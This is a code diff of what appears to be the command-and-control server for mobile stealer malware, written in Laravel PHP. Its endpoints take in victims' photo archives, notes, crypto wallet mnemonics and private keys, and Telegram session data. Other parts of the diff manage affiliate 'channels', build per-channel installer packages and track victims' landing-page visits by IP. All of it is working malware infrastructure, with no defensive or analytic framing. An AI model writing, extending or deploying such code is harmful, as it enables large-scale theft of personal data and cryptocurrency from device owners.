public function photos(Request $request): Response
|
||||
{
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->ensureDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
||||
'upload_count' => $uploadCount,
|
||||
'process_index' => $processIndex,
|
||||
'text_count' => $textCount,
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
|
||||
public function notes(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Plugin reports: /uj /us /ub /ba /result.
|
||||
* Dispatch by payload shape onto the same ingest as lab long paths.
|
||||
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
|
||||
} else {
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, $payload);
|
||||
} else {
|
||||
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
|
||||
$this->ingest->ingestMnemonic($device, $payload);
|
||||
}
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
|
||||
public function telegram(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestTelegramAuth($device, $payload);
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
private function xxbbArchive(): CorunaArchive
|
||||
{
|
||||
return new CorunaArchive(
|
||||
DecryptXxbbBody::crypto(),
|
||||
(string) config('coruna.seven_zip', ''),
|
||||
);
|
||||
}
|
||||
|
||||
private function referer(Request $request): ?string
|
||||
{
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Controllers;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -14,21 +15,26 @@ class PageHitController extends Controller
|
||||
|
||||
public function __invoke(Request $request): Response
|
||||
{
|
||||
$channelId = strtolower(trim((string) $request->query('c', $request->input('c', ''))));
|
||||
$channelId = trim((string) $request->query('c', $request->input('c', '')));
|
||||
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
|
||||
$path = trim((string) $request->query('p', $request->input('p', '')));
|
||||
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
|
||||
return $this->pixel();
|
||||
$newCode = Channel::normalizeNewChannelId($channelId);
|
||||
if ($newCode !== null) {
|
||||
$channelId = $newCode;
|
||||
} else {
|
||||
$channelId = strtolower($channelId);
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
|
||||
return $this->pixel();
|
||||
}
|
||||
}
|
||||
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
|
||||
return $this->pixel();
|
||||
}
|
||||
if (strlen($path) > 255) {
|
||||
$path = substr($path, 0, 255);
|
||||
}
|
||||
|
||||
$debounceKey = 'page_hit:'.$channelId.':'.$clientUid;
|
||||
$ip = (string) $request->ip();
|
||||
$domain = PageVisit::normalizeDomain($request->getHost());
|
||||
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
|
||||
|
||||
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
|
||||
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
return $this->pixel();
|
||||
}
|
||||
@@ -39,14 +45,14 @@ class PageHitController extends Controller
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'client_uid' => substr($clientUid, 0, 64),
|
||||
'client_uid' => $uid,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'],
|
||||
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $path !== '' ? $path : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $referer,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
|
||||
@@ -83,7 +83,6 @@ class DecryptXxbbBody
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'campaign' => 'xxbb',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
@@ -98,6 +97,7 @@ class DecryptXxbbBody
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
$request->attributes->set('coruna_device_key', $deviceKey);
|
||||
$request->attributes->set('coruna_new_builder', true);
|
||||
$request->attributes->set('xxbb_ts', $timestamp);
|
||||
|
||||
return $next($request);
|
||||
|
||||
+45
-25
@@ -14,10 +14,10 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const CHANNEL_NAME_LENGTH = 8;
|
||||
public const NEW_CHANNEL_ID_LENGTH = 8;
|
||||
|
||||
/**
|
||||
* Public-root path prefixes that must not be used as channel_name.
|
||||
* Public-root path prefixes that must not be used as 8-char channel IDs.
|
||||
*
|
||||
* @var list<string>
|
||||
*/
|
||||
@@ -25,14 +25,14 @@ class Channel extends Model
|
||||
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
|
||||
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
|
||||
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
|
||||
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
|
||||
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
|
||||
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
|
||||
'sanctum', 'telescope', 'horizon', 'pulse',
|
||||
];
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
|
||||
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
@@ -135,6 +135,10 @@ class Channel extends Model
|
||||
*/
|
||||
public function supportLinks(): array
|
||||
{
|
||||
if ($this->isNewBuilder()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$links = [];
|
||||
$path = $this->landingPath();
|
||||
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
|
||||
@@ -157,32 +161,48 @@ class Channel extends Model
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
|
||||
return null;
|
||||
}
|
||||
if (self::isReservedChannelName($channelId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
public static function randomNewChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
|
||||
if (self::normalizeNewChannelId($code) === null) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $code;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public function sourceZipRelativePath(): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
|
||||
return $dir.'/'.$this->channel_id.'.zip';
|
||||
}
|
||||
|
||||
public static function isReservedChannelName(string $name): bool
|
||||
{
|
||||
return in_array(strtolower($name), self::RESERVED_CHANNEL_NAMES, true);
|
||||
}
|
||||
|
||||
public static function randomChannelName(): string
|
||||
{
|
||||
for ($i = 0; $i < 32; $i++) {
|
||||
$name = substr(bin2hex(random_bytes(5)), 0, self::CHANNEL_NAME_LENGTH);
|
||||
if (self::isReservedChannelName($name)) {
|
||||
continue;
|
||||
}
|
||||
if (self::query()->where('channel_name', $name)->exists()) {
|
||||
continue;
|
||||
}
|
||||
$public = public_path('source/'.$name);
|
||||
if (is_dir($public) || is_file($public)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
return $name;
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一 channel_name');
|
||||
}
|
||||
|
||||
public static function maxPerAgent(): int
|
||||
{
|
||||
$n = (int) config('coruna.channels.max_per_agent', 5);
|
||||
|
||||
+32
-2
@@ -7,9 +7,19 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
|
||||
class Device extends Model
|
||||
{
|
||||
public const WALLET_UNKNOWN = 0;
|
||||
|
||||
public const WALLET_NONE = 1;
|
||||
|
||||
public const WALLET_YES = 2;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage',
|
||||
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -17,9 +27,29 @@ class Device extends Model
|
||||
return [
|
||||
'telegram_notified' => 'boolean',
|
||||
'album_storage' => 'boolean',
|
||||
'has_wallet' => 'integer',
|
||||
'wallet_names' => 'array',
|
||||
];
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
public function walletNameList(): array
|
||||
{
|
||||
$names = $this->wallet_names;
|
||||
if (! is_array($names)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return array_values(array_filter(array_map(static fn ($n) => trim((string) $n), $names), static fn ($n) => $n !== ''));
|
||||
}
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? true);
|
||||
|
||||
@@ -11,13 +11,14 @@ class PageVisit extends Model
|
||||
protected $fillable = [
|
||||
'channel_id',
|
||||
'client_uid',
|
||||
'session_id',
|
||||
'user_agent',
|
||||
'os',
|
||||
'os_version',
|
||||
'browser',
|
||||
'browser_version',
|
||||
'ip',
|
||||
'path',
|
||||
'domain',
|
||||
'referer',
|
||||
'created_at',
|
||||
];
|
||||
@@ -28,4 +29,33 @@ class PageVisit extends Model
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public static function normalizeDomain(?string $value): ?string
|
||||
{
|
||||
$value = trim((string) $value);
|
||||
if ($value === '') {
|
||||
return null;
|
||||
}
|
||||
$value = preg_replace('#^https?://#i', '', $value) ?? $value;
|
||||
$value = explode('/', $value, 2)[0];
|
||||
$value = strtolower(rtrim($value));
|
||||
if ($value === '' || ! str_contains($value, '.')) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return substr($value, 0, 255);
|
||||
}
|
||||
|
||||
public const VISITOR_UID_LENGTH = 16;
|
||||
|
||||
/**
|
||||
* Stable visitor id: same domain+ip always yields the same 16-hex value.
|
||||
*/
|
||||
public static function visitorUid(?string $domain, ?string $ip): string
|
||||
{
|
||||
$domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain));
|
||||
$ipKey = trim((string) $ip);
|
||||
|
||||
return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,8 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||
|
||||
class Photo extends Model
|
||||
{
|
||||
public const X_HIT_ALERT = 12;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id',
|
||||
'sha256',
|
||||
|
||||
@@ -25,7 +25,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -42,26 +41,20 @@ class ChannelProjectService
|
||||
?string $deploymentSeed = null,
|
||||
?string $reportingSeed = null,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): array {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
$channelId = $this->normalizeChannelId($channelId);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew($channelId);
|
||||
}
|
||||
|
||||
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
return $this->generateNew(
|
||||
$channelId,
|
||||
$channelName,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
);
|
||||
}
|
||||
|
||||
return $this->generateOld(
|
||||
$channelId,
|
||||
$this->normalizeChannelId($channelId),
|
||||
$supportTemplate,
|
||||
$deploymentSeed,
|
||||
$reportingSeed,
|
||||
@@ -71,12 +64,19 @@ class ChannelProjectService
|
||||
public function deleteWebTree(
|
||||
string $channelId,
|
||||
string $builderType = self::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
$builderType = $this->normalizeBuilderType($builderType);
|
||||
|
||||
if ($builderType === self::BUILDER_NEW) {
|
||||
// Shared /weifile + /details must not be wiped when a DB channel row is removed.
|
||||
$code = Channel::normalizeNewChannelId($channelId);
|
||||
if ($code === null) {
|
||||
return;
|
||||
}
|
||||
$zip = $this->newChannelZipPath($code);
|
||||
if (is_file($zip) && ! unlink($zip)) {
|
||||
throw new RuntimeException('删除渠道安装包失败: '.$zip);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -102,7 +102,6 @@ class ChannelProjectService
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
@@ -146,7 +145,6 @@ class ChannelProjectService
|
||||
return [
|
||||
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
|
||||
'builder_type' => self::BUILDER_OLD,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
@@ -165,34 +163,17 @@ class ChannelProjectService
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{
|
||||
* channel_id: string,
|
||||
* builder_type: string,
|
||||
* channel_name: ?string,
|
||||
* seeds: array{deployment_seed: string, reporting_seed: string, channel_c?: string},
|
||||
* domains: array{deployment: list<string>, reporting: list<string>},
|
||||
* seeds_initialized: bool,
|
||||
* sync_rebuilt: bool,
|
||||
* support_path: string,
|
||||
* weifile_path: ?string,
|
||||
* daily_path: string,
|
||||
* support_template?: string,
|
||||
* }
|
||||
* Rebuild shared /details and staged weifile from `c`.
|
||||
* Only used by `php artisan xxbb:build`, not when creating a channel.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function generateNew(
|
||||
string $channelId,
|
||||
?string $channelName,
|
||||
?string $deploymentSeed,
|
||||
?string $reportingSeed,
|
||||
): array {
|
||||
unset($channelName); // shared /weifile layout; no per-channel folder
|
||||
if ($channelId === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('channel_id 不能与 7z 密码槽相同');
|
||||
}
|
||||
$scheme = strtolower((string) config('coruna.channel_builder_new.c2_scheme', 'http'));
|
||||
if (! in_array($scheme, ['http', 'https'], true)) {
|
||||
throw new RuntimeException('CORUNA_XXBB_C2_SCHEME 必须是 http 或 https');
|
||||
public function buildSharedArtifacts(?string $channelC = null, bool $randomC = false): array
|
||||
{
|
||||
if ($randomC && $channelC !== null && $channelC !== '') {
|
||||
throw new RuntimeException('不能同时指定 channel-c 和 random-c');
|
||||
}
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('build.py', self::BUILDER_NEW),
|
||||
@@ -200,44 +181,142 @@ class ChannelProjectService
|
||||
$this->artifactRoot(),
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--channel-c',
|
||||
$channelId,
|
||||
'--scheme',
|
||||
$scheme,
|
||||
'--apply',
|
||||
'--force',
|
||||
];
|
||||
if ($deploymentSeed !== null && $reportingSeed !== null) {
|
||||
$cmd[] = '--deployment-seed';
|
||||
$cmd[] = $deploymentSeed;
|
||||
$cmd[] = '--reporting-seed';
|
||||
$cmd[] = $reportingSeed;
|
||||
if ($randomC) {
|
||||
$cmd[] = '--random-c';
|
||||
} else {
|
||||
$c = $this->normalizeSharedChannelC($channelC);
|
||||
if ($c !== null) {
|
||||
$cmd[] = '--channel-c';
|
||||
$cmd[] = $c;
|
||||
}
|
||||
}
|
||||
|
||||
$result = $this->runBuilder($cmd, '生成渠道资源失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$weifilePath = (string) ($result['weifile_path'] ?? '/weifile/weifile.html');
|
||||
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
}
|
||||
|
||||
private function generateNew(string $channelId): array
|
||||
{
|
||||
$channelId = Channel::normalizeNewChannelId($channelId);
|
||||
if ($channelId === null) {
|
||||
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
|
||||
}
|
||||
|
||||
$weifileSrc = $this->stagedWeifileDir();
|
||||
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
|
||||
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
|
||||
}
|
||||
|
||||
$zipPath = $this->newChannelZipPath($channelId);
|
||||
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
|
||||
|
||||
$cmd = [
|
||||
$this->pythonBinary(self::BUILDER_NEW),
|
||||
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
|
||||
'--channel-code',
|
||||
$channelId,
|
||||
'--state-root',
|
||||
$this->stateRoot(self::BUILDER_NEW),
|
||||
'--weifile-src',
|
||||
$weifileSrc,
|
||||
'--zip-out',
|
||||
$zipPath,
|
||||
];
|
||||
|
||||
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
|
||||
$seeds = $this->loadNewLabSeeds();
|
||||
$relativeZip = $this->newChannelZipRelative($channelId);
|
||||
|
||||
return [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => self::BUILDER_NEW,
|
||||
'channel_name' => null,
|
||||
'seeds' => [
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $channelId),
|
||||
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', $seeds['deployment_seed']),
|
||||
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', $seeds['reporting_seed']),
|
||||
'channel_c' => (string) data_get($result, 'seeds.channel_c', $seeds['channel_c']),
|
||||
],
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
|
||||
'deployment' => array_values((array) data_get($result, 'domains.deployment', $seeds['domains']['deployment'])),
|
||||
'reporting' => array_values((array) data_get($result, 'domains.reporting', $seeds['domains']['reporting'])),
|
||||
],
|
||||
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
|
||||
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
|
||||
'support_path' => (string) ($result['support_path'] ?? $weifilePath),
|
||||
'weifile_path' => $weifilePath,
|
||||
'daily_path' => (string) ($result['details_path'] ?? '/details/'),
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '',
|
||||
'weifile_path' => null,
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/'.$relativeZip,
|
||||
];
|
||||
}
|
||||
|
||||
public function stagedWeifileDir(): string
|
||||
{
|
||||
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
|
||||
}
|
||||
|
||||
public function newChannelZipPath(string $channelId): string
|
||||
{
|
||||
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
|
||||
}
|
||||
|
||||
public function newChannelZipRelative(string $channelId): string
|
||||
{
|
||||
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
|
||||
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
|
||||
|
||||
return $dir.'/'.$code.'.zip';
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{deployment_seed: string, reporting_seed: string, channel_c: string, domains: array{deployment: list<string>, reporting: list<string>}}
|
||||
*/
|
||||
private function loadNewLabSeeds(): array
|
||||
{
|
||||
$empty = [
|
||||
'deployment_seed' => '',
|
||||
'reporting_seed' => '',
|
||||
'channel_c' => '',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
];
|
||||
$path = $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'lab_seeds.json';
|
||||
if (! is_file($path)) {
|
||||
return $empty;
|
||||
}
|
||||
$decoded = json_decode((string) file_get_contents($path), true);
|
||||
if (! is_array($decoded)) {
|
||||
return $empty;
|
||||
}
|
||||
|
||||
return [
|
||||
'deployment_seed' => (string) ($decoded['deployment_seed'] ?? ''),
|
||||
'reporting_seed' => (string) ($decoded['reporting_seed'] ?? ''),
|
||||
'channel_c' => (string) ($decoded['channel_c'] ?? ''),
|
||||
'domains' => [
|
||||
'deployment' => array_values((array) data_get($decoded, 'domains.deployment', [])),
|
||||
'reporting' => array_values((array) data_get($decoded, 'domains.reporting', [])),
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
private function normalizeSharedChannelC(?string $channelC): ?string
|
||||
{
|
||||
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
|
||||
? $channelC
|
||||
: config('coruna.xxbb.channel_c', ''))));
|
||||
if ($c === '') {
|
||||
return null;
|
||||
}
|
||||
if (! preg_match('/^[0-9a-f]{32}$/', $c)) {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 必须是 32 位 hex');
|
||||
}
|
||||
if ($c === '202800cfb1ad3de68e11239dcc26c30b') {
|
||||
throw new RuntimeException('XXBB_CHANNEL_C 不能与 7z 密码槽相同');
|
||||
}
|
||||
|
||||
return $c;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $cmd
|
||||
* @return array<string, mixed>
|
||||
@@ -386,19 +465,6 @@ class ChannelProjectService
|
||||
return $channelId;
|
||||
}
|
||||
|
||||
private function normalizeChannelName(string $channelName): string
|
||||
{
|
||||
$channelName = strtolower(trim($channelName));
|
||||
if (! preg_match('/^[a-z0-9]{8,32}$/', $channelName)) {
|
||||
throw new RuntimeException('Invalid channel name');
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelName)) {
|
||||
throw new RuntimeException('channel_name 与保留路径冲突');
|
||||
}
|
||||
|
||||
return $channelName;
|
||||
}
|
||||
|
||||
private function normalizeSupportTemplate(string $supportTemplate): string
|
||||
{
|
||||
$supportTemplate = strtolower(trim($supportTemplate));
|
||||
|
||||
+187
-16
@@ -2,10 +2,12 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
@@ -138,22 +140,18 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
$touch = ['updated_at' => now()];
|
||||
$channelId = $this->extractChannelId($request, $payload);
|
||||
if ($this->channelIdEmpty($existing->channel_id) && $channelId !== null && $channelId !== '') {
|
||||
$touch['channel_id'] = $channelId;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: true);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Other C2 routes — create device if missing so business rows can attach,
|
||||
* but never write channel_id (put will fill it later). Existing rows are left untouched.
|
||||
* Other C2 routes — create device if missing so business rows can attach.
|
||||
* Old builder: never write channel_id here (put will fill it later).
|
||||
* New builder: IP-match iptj on create and when channel_id is still empty.
|
||||
*/
|
||||
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
||||
{
|
||||
@@ -164,10 +162,16 @@ class IngestService
|
||||
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing) {
|
||||
if ($this->isNewBuilderRequest($request)) {
|
||||
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
return $existing;
|
||||
}
|
||||
|
||||
return $this->createDevice($request, $payload, $deviceKey, withChannel: false);
|
||||
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
|
||||
}
|
||||
|
||||
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
||||
@@ -208,15 +212,118 @@ class IngestService
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
